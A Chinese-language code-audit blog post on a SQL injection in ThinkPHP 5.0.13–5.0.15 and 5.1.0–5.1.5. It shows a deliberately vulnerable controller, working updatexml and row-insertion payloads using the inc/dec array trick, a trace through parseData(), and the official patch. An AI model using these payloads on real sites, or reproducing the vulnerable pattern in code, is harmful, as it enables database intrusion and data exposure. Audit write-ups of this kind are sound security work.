ThinkPHP5.0.15代码审计【SQL注入】

简介

parseData() 这个方法中出现对dec、inc两种情况的考虑不周从而拼接导致的SQL注入(Insert方法注入)
漏洞利用版本: 5.0.13<=ThinkPHP<=5.0.15 、 5.1.0<=ThinkPHP<=5.1.5

环境搭建

到官网下载TP 5.0.15的源码

新建一个数据库,这里我建立了一个tpdemo库,其中有个users表

composer.json填写版本
在这里插入图片描述
application/index/controller/Index.php中配置:

public function index()//控制方法
{
   $username = request()->get('username/a');
   db('users')->insert(['username'=>$username]);
   return 'Update success';
}

application/database.php配置数据库信息
在这里插入图片描述
application/config.php开启调试模式

'app_debug'              => true,
'app_trace'              => true,

先给出payload:

http://127.0.0.1/thinkphp_5.0.15_full/Index.php?username[0]=inc&username[1]=updatexml(1,concat(0x7,user(),0x7e),1)&username[2]=1 
http://127.0.0.1/thinkphp_5.0.15_full/Index.php?username[0]=dec&username[1]=updatexml(1,concat(0x7,user(),0x7e),1)&username[2]=1 

在这里插入图片描述

分析

在这里插入图片描述

首先看index控制器,username这个参数要接收数组形式!所以我们写成了get('username/a'),注意后面的/a就是要求传入数组形式。数组形式是后面利用的前提。

$username经过 request()->get('username/a');后得到一个数组:
在这里插入图片描述

接着进入 insert()方法,会跳转到thinkphp/library/think/db/Query.php的insert()方法
在insert方法中主要是这几行代码:分析了我们有用到什么表达式、将数据整合成一个数组$data,然后生成SQL语句并执行
在这里插入图片描述

$options = $this->parseExpress();实际得到我们的表名,其他的用不着
在这里插入图片描述
$data = array_merge($options['data'], $data);将参数数组 合并成一个数组
在这里插入图片描述
$sql = $this->builder->insert($data, $options, $replace);这是生成SQL语句的,但这行代码又调用了insert方法,这里看的时候有点疑惑$this->builder是哪个类的对象,看大佬说: Mysql 类继承于 Builder 类,即上面的 $this->builder->insert() 最终调用的是 Builder 类的 insert 方法。

既然这样我们跟进到thinkphp/library/think/db/Builder.php/下Builder 类的insert()方法看看如何生成SQL语句
在这里插入图片描述
先跟进看parseExpress()这个方法,其中$data的key值和value值都被赋值给相应变量,当$val是数组、且$val[0]是inc或者dec时就会进行拼接,返回$data=$val[1] + $val[2],而这个$data是我们insert进去的数据,因此可以想到在INSERT....VALUE()这个SQL语句VALUE()中插入我们的恶意数据!这也回应一开始为什么需要传入数组形式了
在这里插入图片描述

执行完parseData(),回到insert方法中此时的$dataupdatexml(1,concat(0x7,user(),0x7e),1)+1
在这里插入图片描述
然后通过str_replace()函数对既定表达式$insersql进行数据替换
在这里插入图片描述

最终SQL语句:
INSERT INTO `users` (`username`) VALUES (updatexml(1,concat(0x7,user(),0x7e),1)+1)

既定INSERT语句:
'%INSERT% INTO %TABLE% (%FIELD%) VALUES (%DATA%) %COMMENT%';

得到SQL语句后回退到thinkphp/library/think/db/Query.php,最后通过execute()执行就触发了SQL注入
在这里插入图片描述

payload:
http://127.0.0.1/thinkphp_5.0.15_full/Index.php?username[0]=inc&username[1]=updatexml(1,concat(0x7,user(),0x7e),1)&username[2]=1 
http://127.0.0.1/thinkphp_5.0.15_full/Index.php?username[0]=dec&username[1]=updatexml(1,concat(0x7,user(),0x7e),1)&username[2]=1 

当然还可以不利用报错而是直接向数据库中插入数据:例如我们插入username为66的数据

payload:
username[0]=inc&username[1]=66),(1&username[2]=1 

SQL语句中:
INSERT INTO `users` (`username`) VALUES (66),(1+1)

七月火师傅的攻击流程图:
在这里插入图片描述

修复

我们到GitHub上看看官方是如何修复的:
https://github.com/top-think/framework/compare/v5.0.15...v5.0.16
找到Builder.php ,发现是在增加了检查了$key是否等于$val[1]的步骤
在这里插入图片描述

软件介绍 ThinkPHP是一个免费开源的,快速、简单的面向对象的轻量级PHP开发框架,遵循Apache2开源协议发布,是为了敏捷WEB应用 开发和简化企业级应用开发而诞生的。拥有众多的优秀功能和特性,经历了三年多发展的同时,在社区团队的积极参与下,在易用性、扩展性和性能方面不断优化和 改进,众多的典型案例确保可以稳定用于商业以及门户级的开发。 ThinkPHP借鉴了国外很多优秀的框架和模式,使用面向对象的开发结构和MVC模式,采用单一入口模式等,融合了Struts的 Action思想和JSP的TagLib(标签库)、RoR的ORM映射和ActiveRecord模式,封装了CURD和一些常用操作,在项目配置、类 库导入、模版引擎、查询语言、自动验证、视图模型、项目编译、缓存机制、SEO支持、分布式数据库、多数据库连接和切换、认证机制和扩展性方面均有独特的 表现。 使用ThinkPHP,你可以更方便和快捷的开发和部署应用。当然不仅仅是企业级应用,任何PHP应用开发都可以从ThinkPHP的简单 和快速的特性中受益。ThinkPHP本身具有很多的原创特性,并且倡导大道至简,开发由我的开发理念,用最少的代码完成更多的功能,宗旨就是让WEB应 用开发更简单、更快速。为此ThinkPHP会不断吸收和融入更好的技术以保证其新鲜和活力,提供WEB应用开发的最佳实践! ThinkPHP遵循Apache2开源许可协议发布,意味着你可以免费使用ThinkPHP,甚至允许把你基于ThinkPHP开发的应用开源或商业产 品发布/销售。 ThinkPHP v5.0.15 更新日志: 改进View类 改进chunk方法 改进模板引擎的表达式语法 改进自关联查询多级调用问题 关联定义增加`selfRelation`方法用于设置是否自关联 改进file类型的缓存`inc`和`dec`方法不改变缓存有效期 改进软删除 支持设置`deleteTime`属性关闭 改进`union`查询 改进查询缓存 优化File缓存自动生成空目录的问题 改进日志写入并发问题 修正`MorphTo`关联 改进`join`自关联查询 改进`case`标签解析 改进Url类对`url_convert`配置的支持
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值